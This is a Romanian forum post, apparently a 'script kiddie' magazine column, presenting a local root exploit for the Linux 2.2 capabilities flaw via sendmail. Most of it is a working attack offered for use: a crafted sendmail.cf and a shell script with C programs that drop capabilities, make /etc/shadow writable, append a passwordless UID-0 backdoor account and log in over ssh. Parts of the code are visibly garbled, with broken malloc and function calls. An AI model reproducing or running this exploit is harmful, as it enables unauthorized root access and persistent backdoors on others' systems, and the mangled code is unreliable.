Cum sa iei root pe un linux

beckham · Administrator Data inscrierii: 28/Noi/2007 Mesaje: 124

Incepand din acest numar, m-am gandit sa infiintzez o rubrica pentru "script kiddies", nu de alta, dar sunt un tip teribil de lenesh, shi tzin minte ca pe vremuri nu de mult apuse, eram ahtiat dupa programele ushor de folosit, care sa imi ofere root in nu mai mult de 10 minute pe diverse linux-box-uri. Si cum printre cititorii revistei sunt cu sigurantza sunt doritori...

Recent, s-a descoperit ca in kernelele 2.2.x exista o mare problema, si tocmai despre aceasta problema o sa discutam astazi.

"Capabilitatzile" cerute de unul din standardele POSIX au fost recent implementate in kernelul de Linux. Mai întocmai de pe la 2.2. incoace. Aceste "capabilitatzi" sunt de fapt un nou mod de contol al privilegiilor, care spun de fapt intr-un mod mai specific ce pot sa faca procesele privilegiate (nu vreau sa fiu extraordinar de rautacios cu cititorii revistei, dar shtitzi ce-s alea procese, nu?).
Problema cu aceste capabilitati este ca ele se mostenesc de la procesul tata la procesul fiu asa cum sunt. Si acuma modul de exploatare: Daca setam toti capabilitatile la 0 (adica cel mai neprivilegiat mod cu putiintza), un program cum este sendmail care incearca sa faca un setgid si setuid inainte de a face lucruri care pot dauna sistemului daca sunt rulate ca root, nu va mai reusi sa faca acest lucru, si va rula in continuare ca root. Si daca ai un program care ruleaza ca root, si care face tot ce vrei tu, mai e vreo problema sa controlezi masina resprectiva ? Eu cred ca nu.

Bun. Si cum rubrica se numeste "sKript Kiddo", sa vedem acuma scriptul care face toate povestea sa functioneze cum trebuie. Dar nu va grabiti. Mai intai sa va explic ce vreau sa fac. In primul rand am de gand sa ma joc de-a sendmail-u. Adica sa folosesc sendmailul ca shperaclu in sistem. Si dupa cum stiti, sendmailul are un fisier de configurare, pe care-l chiama sendmail.cf. Ei bine, mie nu imi place acel fisier, asa ca o sa scriu altul. Apoi am de gand sa fac un programel care sa arunce in aer privilegiile lui sendmail, astfel incat sendmail sa nu mai poata sa faca setuid si setgid, iar apoi sendmail.cf-ul scris de mine o sa-i spuna sendmail-ului sa ruleze un program care va scrie in /etc/passwd shi in /etc/shadow o noua linie, care imi va da cont de root.

Deci. Copiati tot ce urmeaza intr-un fisier pe care il veti denumi sendmail.cf. La sfarsitul fisierului, cam a 15-a linie de sus in jos, exista o linie comentata. Urmati indicatiile.

--- Cut Here (sendmail.cf) --
V8/Berkeley
Cwlocalhost
Fw/etc/sendmail.cw
DSlocalhost
CO @ % !
C..
C[[
Kaccess hash -o /etc/mail/access
FR-o /etc/mail/relay-domains
Kdequote dequote
CE root
DnMAILER-DAEMON
CPREDIRECT
DZ8.9.3
O SevenBitInput=False
O EightBitMode=pass8
O AliasWait=10
O AliasFile=/etc/aliases
O MinFreeBlocks=100
O BlankSub=.
O HoldExpensive=False
O DeliveryMode=background
O AutoRebuildAliases=True
O TempFileMode=0600
O HelpFile=/usr/lib/sendmail.hf
O SendMimeErrors=True
O ForwardPath=$z/.forward.$w:$z/.forward
O ConnectionCacheSize=2
O ConnectionCacheTimeout=5m
O UseErrorsTo=False
O LogLevel=9
O CheckAliases=False
O OldStyleHeaders=True
O PrivacyOptions=authwarnings
O QueueDirectory=/tmp
O Timeout.connect=1m
O Timeout.queuereturn=5d
O Timeout.queuewarn=4h
O SuperSafe=True
O StatusFile=/var/log/sendmail.st
O DefaultUser=8:12
O TryNullMXList=true
O RefuseLA=12
O MaxDaemonChildren=20
O ConnectionRateThrottle=1
O HostsFile=/etc/hosts
O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
O UnixFromLine=From $g $d
O OperatorChars=.:%@!^/[]+
O DontProbeInterfaces=true
Pfirst-class=0
Pspecial-delivery=100
Plist=-30
Pbulk=-60
Pjunk=-100
Troot
Tdaemon
Tuucp
H?P?Return-Path: <g>
HReceived: $?sfrom $s $.$?_($?s$|from $.$_)
$.by $j ($v/$Z)$?r with $r$. id $i$?u
for $u; $|;
$.$b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $?x$x <g>$|$g$.
H?F?From: $?x$x <g>$|$g$.
H?x?Full-Name: $x
H?M?Resent-Message-Id: E-mail;
H?M?Message-Id: E-mail;
S3
R$@ $@ <@>
R$* $: $1 <@> mark addresses
R$* < $* > $* <@> $: $1 <2> $3 unmark <addr>
R@ $* <@> $: @ $1 unmark @host:...
R$* :: $* <@> $: $1 :: $2 unmark node::addr
R:include: $* <@> $: :include: $1 unmark :include:...
R$* [ $* : $* ] <@> $: $1 [ $2 : $3 ] unmark IPv6 addrs
R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon
R$* : $* <@> $: $2 strip colon if marked
R$* <@> $: $1 unmark
R$* ; $1 strip trailing semi
R$* < $* ; > $1 <2> bogus bracketed semi
R$@ $@ :; <@>
R$* $: <1> housekeeping <>
R$+ < $* > <2> strip excess on left
R< $* > $+ <1> strip excess on right
R<> $@ < @ > MAIL FROM:<> case
R< $+ > $: $1 remove housekeeping <R>96 <1> : $2 handle <route>
R $+ : $* ; @ $+ $@ $>96 $1 : $2 ; <3> list syntax
R $+ : $* ; $@ $1 : $2; list syntax
R$+ @ $+ $: $1 <2> focus on domain
R$+ < $+ @ $+ > $1 $2 <3> move gaze right
R$+ < @ $+ > $@ $>96 $1 <2> already canonical
R$* < @ $* : $* > $* $1 <2> $4 nix colons in addrs
R$- ! $+ $@ $>96 $2 <1> resolve uucp names
R$+ . $- ! $+ $@ $>96 $3 <1> domain uucps
R$+ ! $+ $@ $>96 $2 <1> uucp subdomains
R$* % $* $1 @ $2 First make them all @s.
R$* @ $* @ $* $1 % $2 @ $3 Undo all but the last.
R$* @ $* $@ $>96 $1 <2> Insert <and>96 $1
S96
R$* <localhost> $* $: $1 <j> $2 no domain at all
R$* <localhost> $* $: $1 <j> $2 local domain
R$* <localhost> $* $: $1 <j> $2 .UUCP domain
R$* < @ [ $+ ] > $* $: $1 <2> $3 mark [a.b.c.d]
R$* <w> $* $: $1 <j> $3 self-literal
R$* < @@ $+ > $* $@ $1 <2> $3 canon IP addr
R$* <UUCP> $* $: $1 <2> $3
R$* <UUCP> $* $@ $1 <2> $3
R$* <w> $* $: $1 <2> $3
R$* <j> $* $: $1 <j> $2
R$* <M> $* $: $1 <2> $3
R$* <P> $* $: $1 <2> $4
R$* < @ $* . . > $* $1 <2> $3
S4
R$* <@> $@ handle <> and list:;
R$* < @ $+ . > $* $1 <2> $3
R$* <LOCAL> $* $1 <j> $2
R$* < $+ > $* $1 $2 $3 defocus
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route> canonical
R@ $* $@ @ $1 ... and exit
R$+ @ $- . UUCP $2!$1 u@h.UUCP => h!u
R$+ % $=w @ $=w $1 @ $2 E-mail => u@host
S97
R$* $: $>3 $1
R$* $@ $>0 $1
S0
R$* $: $>Parse0 $1 initial parsing
R<@> $#local $: <special>98 $1 handle local hacks
R$* $: $>Parse1 $1 final parsing
SParse0
R<@> $@ <@> deosebit case error msgs
R$* : $* ; <@> $#error $@ 5.1.3 $: "List:; syntax illegal for recipient addresses"
#R@ <@ $* > <1> catch "@@host" bogosity
R<@ $+> $#error $@ 5.1.3 $: "User address required"
R$* $: <> $1
R<> $* < @ [ $+ ] > $* $1 <2> $3
R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "Colon illegal in host name part"
R<> $* $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "Invalid host name"
R$* <Parse0>3 $1 user@ => user
R<w> : $* $@ $>Parse0 $>3 $2 @here:... -> ...
R$- <w> $: $(dequote $1 $) <2> dequote "foo"@here
R< @ $+ > $#error $@ 5.1.3 $: "User address required"
R$* $=O $* <w> $@ $>Parse0 $>3 $1 $2 $3 ...@here -> ...
R$- $: $(dequote $1 $) <LOCAL> dequote "foo"
R<LOCAL> $#error $@ 5.1.3 $: "User address required"
R$* $=O $* <LOCAL>
$@ $>Parse0 $>3 $1 $2 $3 ...@*LOCAL* -> ...
R$* <LOCAL> $: $1
SParse1
R$* < @ [ $+ ] > $* $: $>98 $1 <2> $3 numeric internet spec
R$* < @ [ $+ ] > $* $#esmtp $@ [$2] $: $1 <2> $3 still numeric: send
R$+ <w> $: <virtuser> $1 <2>
R<@> $+ + $* < @ $* . >
$: <virtuser> $1 + $2 <3>
R<@> $+ + $* < @ $* . >
$: <virtuser> $1 + $2 <3>
R<@> $+ < @ $+ . > $: <virtuser> $1 <2>
R<@> $+ $: $1
R<error> $* $#error $@ $(dequote $1 $) $: $2
R< $+ > $+ < @ $+ > $: $>97 $1
R$=L <w> $#local $: @ $1 special local names
R$+ <w> $#local $: $1 regular local name
R$* < @ $* > $* $: $>95 <S> $1 <2> $3 glue on smarthost name
R$* < @$* > $* $#esmtp $@ $2 $: $1 <2> $3 E-mail
R$=L $#local $: @ $1 special local names
R$+ $#local $: $1 regular local names
S5
R$+ + * $#local $@ $&h $: $1
R$+ + $* $#local $@ + $2 $: $1 + *
R$+ $: <> $1
R< > $+ $: <H> $1 try hub
R< > $+ $: <R> $1 try relay
R< > $+ $: < > <1> nope, restore +detail
R< > < $+ + $* > $* < > <1> + $2 $3 find the user part
R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra +
R< > < $+ > $@ $1 no +detail
R$+ $: $1 <> $&h add +detail back in
R$+ <> + $* $: $1 + $2 check whether +detail
R$+ <> $* $: $1 else discard
R<local> $* $: $>95 <local> $2 no host extension
R<error> $* $: $>95 <error> $2 no host extension
R< $- : $+ > $+ $: $>95 <1> $3 <2>
R< $+ > $+ $@ $>95 <1> $2 <1>
S95
R< > $* $@ $1 strip off null relay
R<error> $* $#error $@ $(dequote $1 $) $: $2
R<local> $* $>CanonLocal <1> $2
R< $- : $+ @ $+ > $*<$*>$* $# $1 $@ $3 $: $2<3> use literal user
R< $- : $+ > $* $# $1 $@ $2 $: $3 try qualified mailer
R<w> $* $@ $2 delete local host
R< $+ > $* $#relay $@ $1 $: $2 use unqualified mailer
SCanonLocal
R< $* > < @ $+ > : $+ $@ $>97 $3
R< $* > $+ $=O $+ < @ $+ > $@ $>97 $2 $3 $4
R< $* > $* < @ $* . > $: <1> $2 <3>
R< > $* < @ $* > $* $#local $@ E-mail $: $1
R< > $+ $#local $@ $1 $: $1
R< $+ @ $+ > $* < @ $* > $: <1> $3 <4>
R< $+ > $* <@ $* > $* $#local $@ E-mail $: $1
R< $+ > $* $#local $@ $2 $: $1
S93
R$=E <LOCAL> $@ $1 <j> leave exposed
R$=E <M> $@ $1 <2>
R$=E <w> $@ $1 <2>
R$* <M> $* $: $1 <2> $3 convert masqueraded doms
R$* <w> $* $: $1 <2> $3
R$* <LOCAL> $* $: $1 <j> $2
R$* < @ $+ @ > $* $: $1 <2> $3 $M is null
R$* < @ $+ @ $+ > $* $: $1 <3> $4 $M is not null
S94
R$* <LOCAL> $* $: $1 <j> $2
S98
R wmail.$- $# wmail $: $1
R wmail.$- <w> $# wmail $: $1
R wmail.$- <w> $# wmail $: $1
R wmail.$- < @ [ $+ ] . > $# wmail $: $1
R$* <REDIRECT> $: $1 <2> <opMode>
R$* <REDIRECT> <i> $: $1 <2>
R$* <REDIRECT> < $- > $# error $@ 5.1.1 $: "551 User has moved; please try " E-mail;
SLookUpDomain
R<$+> <$+> <$*> $: <access> <1> <2> <3>
R<?> <$+.$+> <$+> <$*> $@ $>LookUpDomain <2> <3> <4>
R<?> <$+> <$+> <$*> $@ <2> <3>
R<$*> <$+> <$+> <$*> $@ <1> <4>
SLookUpAddress
R<$+> <$+> <$*> $: <access> <1> <2> <3>
R<?> <$+.$-> <$+> <$*> $@ $>LookUpAddress <1> <3> <4>
R<?> <$+> <$+> <$*> $@ <2> <3>
R<$*> <$+> <$+> <$*> $@ <1> <4>
SCanonAddr
R$* $: $>Parse0 $>3 $1 make domain canonical
R< @ $+ > : $* @ $* <1> : $2 % $3 change @ to % in src route
R$* < @ $+ > : $* : $* $3 $1 <2> : $4 change to % hack.
R$* < @ $+ > : $* $3 $1 <2>
SParseRecipient
R$* $: <?> $>CanonAddr $1
R<?> $* < @ $* . > <?> $1 <2> strip trailing dots
R<?> $- < @ $* > $: <?> $(dequote $1 $) <2> dequote local part
R<?> $* $=O $* < @ $* > $: <NO> $1 $2 $3 <4>
R<?> $* $@ $1
R<NO> $* <R> $: <RELAY> $1 <2>
R<NO> $* < @ $+ > $: $>LookUpDomain <2> <NO> <$1 <2>>
R<$+> <$+> $: <1> $2
R<RELAY> $* < @ $* > $@ $>ParseRecipient $1
R<2>"Local_check_relay" $1
R$* $| $* $| $#$* $#$3
R$* $| $* $| $* $@ $>"Basic_check_relay" $1 $| $2
SBasic_check_relay
R$* $: <deliveryMode> $1
R<d> $* $@ deferred
R<2>LookUpDomain <1> <?> <2>
R<?> < $+ > $: $>LookUpAddress <1> <?> <1>
R<?> < $+ > $: $1
R<OK> < $* > $@ OK
R<RELAY> < $* > $@ RELAY
R<REJECT> $* $#error $@ 5.7.1 $: "550 Access denied"
R<DISCARD> $* $#discard $: discard
R<error>"Local_check_mail" $1
R$* $| $#$* $#$2
R$* $| $* $@ $>"Basic_check_mail" $1
SBasic_check_mail
R$* $: <deliveryMode> $1
R<d> $* $@ deferred
R< $* > $* $: $2
R<> $@ <OK>
R$* $: <?> $>CanonAddr $1
R<?> $* < @ $+ . > <?> $1 <2> strip trailing dots
R<?> $* <P> $* $: <OK> $1 <2> $4
R<?> $* < @ $+ > $* $: <OK> $1 <2> $3 ... unresolvable OK
R<$+> $* <localhost> $: <client_name> <1> $2 <localhost>
R<$+> $* <localhost>
$: <client_name> <1> $2 <localhost>
R<$+> $* <localhost>
$: <client_name> <1> $2 <localhost>
R<w> <$+> $* <?> <2> $3
R<? $+> <$+> $* $#error $@ 5.5.4 $: "553 Real domain name required"
R<?> <$+> $* $: <1> $2
R<$+> $* < @ $+ > $* $: <USER> <1> $2 <3> $4
R<USER> <$+> $* < @ $* > $*
$: <USER> <1> $2 <3> $4
R<USER> <$+> $+ < @ $+ > $*
$: <USER> <1> $2 <3> $4
R<USER> <$+> $* < @ $+ > $*
$: $>LookUpDomain <3> <1> <>
R<?> $* $: <USER> <?> $1
R<USER> <$+> $* $: <1> $3
R<?> $* $: <client_name> $1
R<?> $* $@ <OK> ...local unqualed ok
R<? $+> $* $#error $@ 5.5.4 $: "553 Domain name required"
...remote is not
R<?> $* $@ <OK>
R<OK> $* $@ <OK>
R<TEMP> $* $#error $@ 4.1.8 $: "451 Sender domain must resolve"
R<PERM> $* $#error $@ 5.1.8 $: "501 Sender domain must exist"
R<RELAY> $* $@ <RELAY>
R<DISCARD> $* $#discard $: discard
R<REJECT> $* $#error $@ 5.7.1 $: "550 Access denied"
R<error>"Local_check_rcpt" $1
R$* $| $#$* $#$2
R$* $| $* $@ $>"Basic_check_rcpt" $1
SBasic_check_rcpt
R$* $: <deliveryMode> $1
R<d> $* $@ deferred
R<2>ParseRecipient $1 strip relayable hosts
R$* $: <?> $1
R<?> $+ <w> $: <> <USER> <FULL E-mail; <HOST> <$1 <2>>
R<?> $+ < @ $* > $: <> <FULL E-mail; <HOST> <$1 <2>>
R<?> $+ $: <> <USER> <1>
R<> <USER> $* $: <access> $2
R<> <FULL> $* $: <access> $2
R<OK> <FULL> $* $: <access> $2
R<> <HOST> $* $: <access> $2
R<OK> <HOST> $* $: <access> $2
R<> <$*> $: $1
R<OK> <$*> $: $1
R<RELAY> <$*> $: $1
R<REJECT> $* $#error $@ 5.2.1 $: "550 Mailbox disabled for this recipient"
R<$+> $* $#error $@ 5.2.1 $: $1 error from access db
R$+ <w> $@ OK
R$+ <R> $@ OK
R$+ < @ $* > $: $>LookUpDomain <2> <?> <$1 <2>>
R<RELAY> $* $@ RELAY
R<$*> <$*> $: $2
R$* $: <?> $1
R<?> $* < @ $+ > $: <REMOTE> $1 <2>
R<?> $+ $@ OK
R<$+> $* $: $2
R$* $: <?> $&{client_name}
R<?> [$+] $: <BAD> [$1]
R<?> $* $~P $: <?> $[ $1 $2 $]
R<2>LookUpDomain <1> <?> <1>
R<RELAY> $* $@ RELAY
R<$*> <2>LookUpAddress <1> <?> <1>
R<RELAY> $* $@ RELAY relayable IP address
R<$*> <2>51 $1 sender/recipient common
R$* :; <list>61 $1 qualify unqual'ed names
R$+ $: $>94 $1 do masquerading
S21
R$+ $: $>51 $1 sender/recipient common
R$+ $: $>61 $1 qualify unqual'ed names
S31
R$+ $: $>51 $1 sender/recipient common
R:; <@> $@ list:; distinct case
R$* <@> $* $@ $1 <@> $2 pass null host through
R< @ $* > $* $@ <1> $2 pass route-addr through
R$* $: $>61 $1 qualify unqual'ed names
R$+ $: $>93 $1 do masquerading
S51
R< @ $+ > $* $@ <1> $2 resolve <route>
R$+ <UUCP> $: <2> $1 convert to UUCP form
R$+ < @ $* > $* $@ $1 <2> $3 not UUCP form
R<h> $- ! $+ $@ $2 <1>
R<h> $-.$+ ! $+ $@ $3 <1>
R<h> $+ $@ $1 <h>
R< $+ ! > $+ $: $1 ! $2 <Y> use UUCP_RELAY
R$+ < @ $+ : $+ > $@ $1 <3> strip mailer: part
R$+ < @ > $: $1 <LOCAL> if no UUCP_RELAY
S61
R$* < @ $* > $* $@ $1 <2> $3 already fully qualified
R$+ $@ $1 <LOCAL> add local qualification
S71
R$+ $: $>61 $1
R$+ $: $>93 $1
#inlocuiti pe linia urmatoare stringul /calea/spre cu directorul curent
#eg: /home/user
Mlocal, P=/calea/spre/add, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40,
T=DNS/RFC822/X-Unix,
A=add -Y -a $h -d $u

Mprog, P=/usr/sbin/smrsh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/,
T=X-Unix,
A=sh -c $u
Mwmail, P=/usr/local/wMail/wmail,
F=lsD, S=10/30, R=20/40, D=/tmp/,
T=X-Unix,
A=/usr/local/wMail/wmail $u
S10
R<@> $n errors to mailer-daemon
R@ <n>50 $1 add local domain if needed
R$* $: $>94 $1 do masquerading
S20
R$+ < @ $* > $: $1 strip host part
S30
R<@> $n errors to mailer-daemon
R@ <n>50 $1 add local domain if needed
R$* $: $>93 $1 do masquerading
S40
R$+ $: $>50 $1 add local domain if needed
S50
R$* < @ $* > $* $@ $1 <2> $3 already fully qualified
R$+ $@ $1 <LOCAL> add local qualification

--- Cut here (gata) --

Si in sfarshit scriptul

--- CUT HERE ---
#!/bin/sh
#
# Acest script este adaptat si modificat dupa programele care au
# fost publicate pe lista de discutzii BUGTRAQ.
# Utilizarea lui poate produce pagube si este in general impotriva legii
# Personal va recomand sa nu il folositi.
# De asemenea, recomad sa nu il distribuitzi, cu toate ca este sub
# licentza GPL
echo creez fisierele sursa
cat <<gata1> ex.c
#include <linux>

int main (void) {
cap_user_header_t header;
cap_user_data_t data;

header = malloc(Cool;
data = malloc(12);

header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;

data->inheritable = data->effective = data->permitted = 0;
capset(header, data);

execlp("/usr/sbin/sendmail", "sendmail" ,"-t", "-C", "./sendmail.cf", NULL);
}

gata1

echo shi acuma cel de-al doilea
cat <<gata> add.c

#include <fcntl>

int main (void) {
int fd;
char string[250];

seteuid(0);
setegid(0);
setuid(0);
setgid(0);

system("chmod u+w /etc/shadow";

fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "shmekeru:0:0::/root:/bin/shn";
write(fd, string, strlen(string));
close(fd);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
strcpy(string, "shmekeru::11029:0:99999:7:::n";
write(fd, string, strlen(string));
close(fd);

}

gata.2
echo compilez...
gcc -o add add.c
gcc -o ex ex.c
cat <<gata3> mailexp
From: E-mail
To: E-mail
Subject: foo
bar
.

gata3
echo rulez xploitu
./ex < mailexp
echo shi acuma ashteptatzi un pic...
sleep 10
echo root access pentru dumneavoastra
echo daca nu exista ssh instalat in sistem incercati
echo su shmekeru
ssh -lshmekeru localhost